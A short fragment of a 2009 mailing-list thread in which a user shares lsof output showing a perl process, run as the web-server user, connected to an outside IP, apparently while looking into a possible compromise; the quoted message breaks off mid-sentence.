2009-08-25 Thread Mike Bristow
On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me

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